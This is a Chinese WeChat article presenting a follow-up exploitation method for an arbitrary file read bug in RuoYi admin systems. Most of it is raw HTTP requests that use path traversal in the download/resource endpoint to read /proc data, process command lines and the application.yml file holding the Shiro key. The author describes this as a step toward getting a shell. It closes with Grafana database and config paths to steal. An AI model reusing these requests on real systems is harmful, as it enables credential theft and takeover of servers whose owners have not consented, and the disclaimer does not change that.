免责声明
由于传播、利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，公众号及作者不为此承担任何责任，一旦造成后果请自行承担！如有侵权烦请告知，我们会立即删除并致歉。谢谢！
欢迎关注本公众号，长期推送技术文章
前言
关于若依管理后台相信大家都不陌生，现在很多的程序都是直接利用该框架进行二次开发
在攻防演练的过程中，关于若依系统的测试往往是一个很重要的突破口
关于网上已经爆出的漏洞，大多数都是介绍怎么进行复现，至于后续怎么利用，大家只能凭自己的经验
以下是一个关于任意文件读取的后续利用思路：
任意文件读取进阶利用
读取java进程信息
GET /zzadmin/common/download/resource?resource=/profile/../../../../../../../../../../../../../../proc/sched_debug HTTP/1.1Host: xx.xx.xx.xxCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.110 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: JSESSIONID=410244a8-9c54-457b-b5aa-4bf26827a5a6Connection: closeContent-Length: 2
读取cmdline信息
GET /zzadmin/common/download/resource?resource=/profile/../../../../../../../../../../../../../../proc/6527/cmdline HTTP/1.1Host: xx.xx.xx.xxCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.110 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: JSESSIONID=410244a8-9c54-457b-b5aa-4bf26827a5a6Connection: closeContent-Length: 2
获取shiro key
拼接若依安装路径获取shiro key
GET /zzadmin/common/download/resource?resource=/profile/../../../../../../../../../../../../../../home/tongweb7/deployment/zzadmin/WEB-INF/classes/application.yml HTTP/1.1Host: xx.xx.xx.xxCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.110 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: JSESSIONID=dca9f2db-0b4a-4cdc-8b7d-cdd2e848b569Connection: close
Shirt key都有了，下一步就是梭哈获取shell，进行愉快的后续渗透测试啦
总结
关于任意文件读取的漏洞，大部分都是需要大概了解当前系统的架构，然后针对性的获取所需文件，
例如针对Grafana的任意文件读取，大家只会说可以读取/etc/passwd
但是如何进行后续的测试，基本上很难提及，咱们可以读取的文件有哪些，
例如咱们还可以获取以下信息：
-
读数据库(
/var/lib/grafana/grafana.db) -
读配置文件(
/etc/grafana/grafana.ini)
平时咱们多关注类似的知识，阅读各位师傅们的文章，学习更多的思路，不断丰富自己的经验，咱们都会越来越棒哒
原文始发于微信公众号（渗透云记）：若依后台任意文件读取的进阶利用思路
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论